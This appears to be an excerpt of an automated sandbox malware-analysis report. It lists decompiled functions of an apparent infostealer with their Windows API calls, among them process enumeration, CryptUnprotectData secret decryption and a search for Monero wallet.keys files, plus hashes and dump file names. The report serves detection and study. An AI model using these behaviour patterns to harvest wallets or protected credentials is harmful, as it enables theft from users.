Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

CloseHandle.KERNEL32(?), ref: 008B8761

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a23ae453fb4d1534f6cd085c4eab6d7fd15131e58926f9134745c2b7dc8a159e
Instruction ID: e98e711a0839df43980420e4c07834c0bcbfcd6eec28ac6efc6647519386b36f
Opcode Fuzzy Hash: a23ae453fb4d1534f6cd085c4eab6d7fd15131e58926f9134745c2b7dc8a159e
Instruction Fuzzy Hash: 8D314D71901218EBCB28DF94CC95FEEB778FB55700F1041A9E50AE62A0DF346A45CFA2

Function 008B8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,008A5184,40000001,00000000,00000000,?,008A5184), ref: 008B8EC0

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: e9f406faf474bb6962a502096d7f239115340e858db5cfa46b7c1b40937c9722
Instruction ID: 5406991bc20d543c3865aca30c10182e944afa079e446539cd285b279b84af98
Opcode Fuzzy Hash: e9f406faf474bb6962a502096d7f239115340e858db5cfa46b7c1b40937c9722
Instruction Fuzzy Hash: 3E11B074200209EBDB00DFA4E885FAA37A9FF89714F109558F919CB350DB75E942DB61

Function 008A9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008A4EEE,00000000,00000000), ref: 008A9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,008A4EEE,00000000,?), ref: 008A9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008A4EEE,00000000,00000000), ref: 008A9B2A
LocalFree.KERNEL32(?,?,?,?,008A4EEE,00000000,?), ref: 008A9B3F

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 510967276e15e15ddcd72b6179079d6f21a2d57d71a045ea055268ae85b75cc8
Instruction ID: a8b58a435dc5fd7c5de5b2540089dd22846107e770a28c364c8caa25f438d212
Opcode Fuzzy Hash: 510967276e15e15ddcd72b6179079d6f21a2d57d71a045ea055268ae85b75cc8
Instruction Fuzzy Hash: 441174B4641208EFEB10CFA4DC95FAA77B5FB89714F208158F9159F390C775A942CB60

Function 008B7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,008C0E00,00000000,?), ref: 008B79B0
RtlAllocateHeap.NTDLL(00000000), ref: 008B79B7
GetLocalTime.KERNEL32(?,?,?,?,?,008C0E00,00000000,?), ref: 008B79C4
wsprintfA.USER32 ref: 008B79F3

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 2c5d0fe965bcef07770d088eed20f0c87d4f53f0d49e13c724c4b5fc5a1a7341
Instruction ID: 8d9f94cb033da58ae78c9c4b9409fd71142079350446f111856989ad1845dd75
Opcode Fuzzy Hash: 2c5d0fe965bcef07770d088eed20f0c87d4f53f0d49e13c724c4b5fc5a1a7341
Instruction Fuzzy Hash: FC112AB2904158ABCB14DFC9DD85BBEB7F8FB4CB11F10411AF605A2280E2395941C7B1

Function 008B7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0142E848,00000000,?,008C0E10,00000000,?,00000000,00000000), ref: 008B7A63
RtlAllocateHeap.NTDLL(00000000), ref: 008B7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0142E848,00000000,?,008C0E10,00000000,?,00000000,00000000,?), ref: 008B7A7D
wsprintfA.USER32 ref: 008B7AB7

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 79bfc45cc620d2a703e47e405a6725203058de873d3cf683861ba7509dcfd33c
Instruction ID: df3334470b3139f44073c2a73c150475af62f7e4f2b0b1e8db5ff299bdcb1074
Opcode Fuzzy Hash: 79bfc45cc620d2a703e47e405a6725203058de873d3cf683861ba7509dcfd33c
Instruction Fuzzy Hash: 95117CB1945228EBEB20CF54DC49FA9BB78FB44721F10429AE91A972C0D7746A40CF51

Function 00C79EC3 Relevance: 5.8, Strings: 4, Instructions: 781COMMON

Download Yara Rule

Strings

br_{, xrefs: 00C7A848
?(P, xrefs: 00C7A553
/oo, xrefs: 00C7A41A
rz3^, xrefs: 00C7A721

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /oo$?(P$br_{$rz3^
API String ID: 0-4284516167
Opcode ID: 6ea21941cb32fcc9a4450d078b5095dfc7032658a14185baa19f52b2fb4dd88f
Instruction ID: a77feff0b3e0261e6fc8c02a1ab93fe2391d6d83c4ef0fc407c7dfa750877ab4
Opcode Fuzzy Hash: 6ea21941cb32fcc9a4450d078b5095dfc7032658a14185baa19f52b2fb4dd88f
Instruction Fuzzy Hash: B342D3F260C2009FE304AE2DEC8567AFBE5EF94720F1A893DE6C5C3744E67498058657

Function 00C77F64 Relevance: 4.9, Strings: 3, Instructions: 1166COMMON

Download Yara Rule

Strings

?mR, xrefs: 00C788B6
me=W, xrefs: 00C783DB
?mR, xrefs: 00C788D9

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?mR$?mR$me=W
API String ID: 0-3641299783
Opcode ID: c8edb79a2895967f1e0e8ecddfa0050e2a7a4e457620b9376077cb04543a58b7
Instruction ID: 994ff6037a690e89d504ca9fe61ef76e32c5a30fb8b7ba3310e5daddb6fc37f7
Opcode Fuzzy Hash: c8edb79a2895967f1e0e8ecddfa0050e2a7a4e457620b9376077cb04543a58b7
Instruction Fuzzy Hash: F2723AF3A082009FE304AE2DEC8567AFBE6EFD4720F1A853DE6C5C7744E53598058696

Function 008B3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(008BE118,00000000,00000001,008BE108,00000000), ref: 008B3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 008B37B0

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 8dcddd3b9c769af43ded193e085ce7127d77e5fdc72976566acb405198b2e2f5
Instruction ID: 069aa6e751e635e0aba69efd2e4e5b37c2e4d80f17278e7cdc34f7537e27a62f
Opcode Fuzzy Hash: 8dcddd3b9c769af43ded193e085ce7127d77e5fdc72976566acb405198b2e2f5
Instruction Fuzzy Hash: B941F670A40A289FDB24DB58CC94BDBB7B5FB48702F4051D8E618EB290E771AE85CF51

Function 008A9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 008A9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 008A9BA3
LocalFree.KERNEL32(?), ref: 008A9BD3

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: d0779e88c4e946c1b7e1745ee1b24def07d27f1c5dc9242780f92ffab4e60f82
Instruction ID: 7c60932cdb9ed4b922d3e5f683fcb2d24d102339dfc73afe706ec57dfd8ded99
Opcode Fuzzy Hash: d0779e88c4e946c1b7e1745ee1b24def07d27f1c5dc9242780f92ffab4e60f82
Instruction Fuzzy Hash: 9A11CCB4A00209DFDB04DF98D985AAE77B5FF89300F104558E9159B350D774AE51CF61

Function 00C6F160 Relevance: 4.1, Strings: 2, Instructions: 1602COMMON

Download Yara Rule

Strings

&y}V, xrefs: 00C6FC78
tw, xrefs: 00C6F7C2

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &y}V$tw
API String ID: 0-1981112408
Opcode ID: 5350ca5660ecdcb56306dd9d1ab4ce9a7e88450bc774a4c3e2afab90a695d587
Instruction ID: 27669d4790b8dac2b7cc8bf07a29f46823ef76c6b9dfe7c54bccec3aca2b8b64
Opcode Fuzzy Hash: 5350ca5660ecdcb56306dd9d1ab4ce9a7e88450bc774a4c3e2afab90a695d587
Instruction Fuzzy Hash: B4B216F390C204AFE3046E29EC8567ABBE9EF94720F16493DEAC4C7744EA3558058697

Function 008AF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008C15B8,008C0D96), ref: 008AF71E
StrCmpCA.SHLWAPI(?,008C15BC), ref: 008AF76F
StrCmpCA.SHLWAPI(?,008C15C0), ref: 008AF785
FindNextFileA.KERNEL32(000000FF,?), ref: 008AFAB1
FindClose.KERNEL32(000000FF), ref: 008AFAC3

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 28b5a2080ad78593f5e7a6d3cbf49bd9f3537d7b03bedc4ff6d953027ff404e3
Instruction ID: b3d55f8d5df4c2d8fc4b7319aaa291f81f3a112c53dc03990c7249858aa8c712
Opcode Fuzzy Hash: 28b5a2080ad78593f5e7a6d3cbf49bd9f3537d7b03bedc4ff6d953027ff404e3
Instruction Fuzzy Hash: 5A11753180015DABDB28EBA4DCA59ED7378FF11300F4042A9A51AD6692EF302B4ACB53

Function 00BF11D3 Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

-', xrefs: 00BF1257

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
